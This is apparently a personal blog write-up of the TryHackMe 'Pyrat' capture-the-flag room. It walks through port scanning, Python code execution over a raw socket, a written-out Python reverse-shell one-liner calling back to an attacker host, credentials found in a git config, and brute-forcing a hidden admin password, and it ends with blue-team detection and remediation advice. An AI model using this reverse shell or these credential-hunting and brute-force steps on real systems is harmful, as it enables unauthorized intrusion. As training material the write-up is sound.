July 21, 2026
Pyrat Tryhackme Writeup
Some CTF rooms teach you a tool. This one taught me to stop and actually read what a server was telling me. Pyrat looks almost empty at…

By Enryuuu
6 min read
Some CTF rooms teach you a tool. This one taught me to stop and actually read what a server was telling me. Pyrat looks almost empty at first. Two ports, one weird HTTP response, and a directory brute force that comes back with nothing. None of the usual easy wins are there. What made this room worth writing up is what happened after those easy wins failed. The whole path to root turns out to hinge on one strange sentence I could have just as easily shrugged off.
Phase 1: Enumeration
Started the way I always do, with a full Nmap scan.
nmap -sV -sC <target_ip>
Open ports:
Two ports. No port 80, no SMB, nothing else to poke at. So whatever port 8000 was doing had to be the whole story. I hit it in a browser first. Got one line back:
A web server that refuses to act like a web server isn't broken, it's talking to you. Something on the backend was clearly checking the request and rejecting normal HTTP. I took it as an instruction rather than a dead end.
Phase 2: Directory Enumeration
dirsearch -u http://<target_ip>:8000
Nothing. No hidden paths, no admin panel, no forgotten backup file. This is usually where people get stuck, the checklist runs out and there's nothing left on it. But the box had already told me what to do. It said "try a more basic connection," so I tried a more basic connection.
Phase 3: Netcat and Python Code Execution
The banner didn't just say the connection wasn't HTTP, it specifically said "more basic connection." So instead of guessing at some exotic protocol, I went with the simplest thing that fits that description: a raw netcat connection. The connection opened, but at that point I had no idea what I was actually talking to. Rather than jump straight to a reverse shell payload, I tested the waters with the simplest possible probe, a single Python print() call.
Security Issue #1: Unauthenticated Remote Code Execution. A raw TCP service was taking user input and running it straight through a Python interpreter, no auth, no sanitization. All it took to prove it was a one-line print() statement. This is about as bad as it gets for a network-facing service. Anyone who can reach the port can run code on the box.
Once print("hello") confirmed code execution, the next question was obvious: if I can run one line of Python, can I run enough of it to get a shell? On my own machine I set up a listener first:
nc -lvnp
Then, back in the socket session with the target, I sent a standard Python reverse-shell one-liner:
import socket,os,pty;s=socket.socket();s.connect(("<Attacker_IP>",));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
The moment it executed, my listener caught the callback. Shell obtained, running as www-data.
Phase 4: Exploring the Filesystem as a Low-Privilege User
A shell is a starting point, not a finish line and www-data doesn't have much room to move. Rather than jump around, I walked the filesystem methodically, one cd / ls at a time, to see how far this access would actually get me.
/home/ had a user directory for think , but permissions blocked me.
/var/mail/ turned out to be more useful. Amessage sitting in think 's mail referenced a local git repository clone on the box.
That's a strange thing for a mail message to mention, which is exactly why it was worth chasing. If think cloned a repo locally, the config file was worth a look. Git configs have a bad habit of holding onto credentials from however the repo was originally authenticated.
Searching for Git files
Back to / , then over to /opt , where a dev directory stood out, the kind of place repo clones usually live:
Inside the .git folder was a config file, so I opened it up.
i got a credentials for user think.
Security Issue #2: Credentials Sitting in a Local Git Config. A developer's login was left in a git config file, readable by anyone who could get into /opt/dev/.git . This is a genuinely common leak pattern, and it's exactly what tools like gitleaks and trufflehog exist to catch before a repo ships.
Phase 5: SSH as Think, and the First Flag
Logged in fine.
Flag 1
Think 's home directory was open now, and user.txt was sitting right there. First flag down.
Phase 6: Git History and Source Code Recovery
Getting a foothold and a flag felt good, but that mail message had hinted at more than just credentials. It hinted there was something to learn about the app itself. Back in /opt/dev.
That surfaced a deleted file, pyrat.py.old. An earlier version of the exact service running on port 8000. Restoring it and reading through it turned a black-box RCE into something I could actually study. A quick search matched the source to a public project, PyRAT on GitHub. Reading the code (with an LLM helping walk through a few parts I wasn't sure about, which honestly is just normal source review now) turned up something the black-box side never showed: typing admin inside the netcat session unlocks a separate, password-gated mode.
Phase 7: Brute Forcing the Admin Password and Escalating to Root
Found the trigger, still needed the password. I adapted a Python brute-force script, based on a public proof-ofconcept, and pointed it at the admin prompt over the raw socket.
It cracked in no time: abc123.
**Security Issue #3:**Weak Credential, No Rate Limiting. Nothing throttled or locked out repeated attempts against the admin prompt, so a basic brute-force script just ran uninterrupted. Pair that with a dictionary password and a "hidden" feature stops being hidden for long.
Phase 8: The Final Flag
Connected again, typed admin , dropped in abc123.
Flag 2
Second flag captured. Box done.
Blue Team Perspective
This is where I try to bridge offense and defense. Here's what I think a blue team would catch, working back through this room.
1. Unauthenticated Code Execution on a Non-Standard Port (Port 8000)
A raw, unauthenticated service with no TLS on an odd port is worth flagging on sight, Zeek or Suricata should pick that up. An EDR rule watching for a shell spawning right after a burst of weird inbound traffic would catch the reverse shell fast. Fix: never let a service run arbitrary input without auth. Gate it, sandbox it, or don't build it that way.
2. Credentials Committed to a Local Git Config
FIM on /opt/dev/.git would flag the unauthorized read. Better yet, gitleaks or trufflehog run against the repo before it ever touched the box would've caught this at the source. Fix: never commit credentials, rotate on sight if you do, and treat any repo with exposed secrets as burned.
3. Undocumented Backdoor Command in Custom Code
Hard to catch from logs alone. The admin trigger isn't a known signature, so this really only surfaces through code review. Fix: no hidden debug commands in production. Elevated functionality needs real auth and a paper trail, not a secret keyword.
4. No Rate Limiting on the Admin Password Check
A burst of rapid, repeated connections to the same service is the same pattern that flags SSH brute force, just on a different port. Fix: rate limit and lock out every password check you write, not just the ones on the front door.
This write-up is part of my ongoing series documenting CTF challenges as I build my portfolio in cybersecurity. I approach each challenge from both offensive and defensive perspectives, because understanding both sides is what makes a well-rounded security professional.
If you're also on the journey toward a SOC or Security Engineering role, feel free to connect — I'm always happy to discuss techniques and share resources.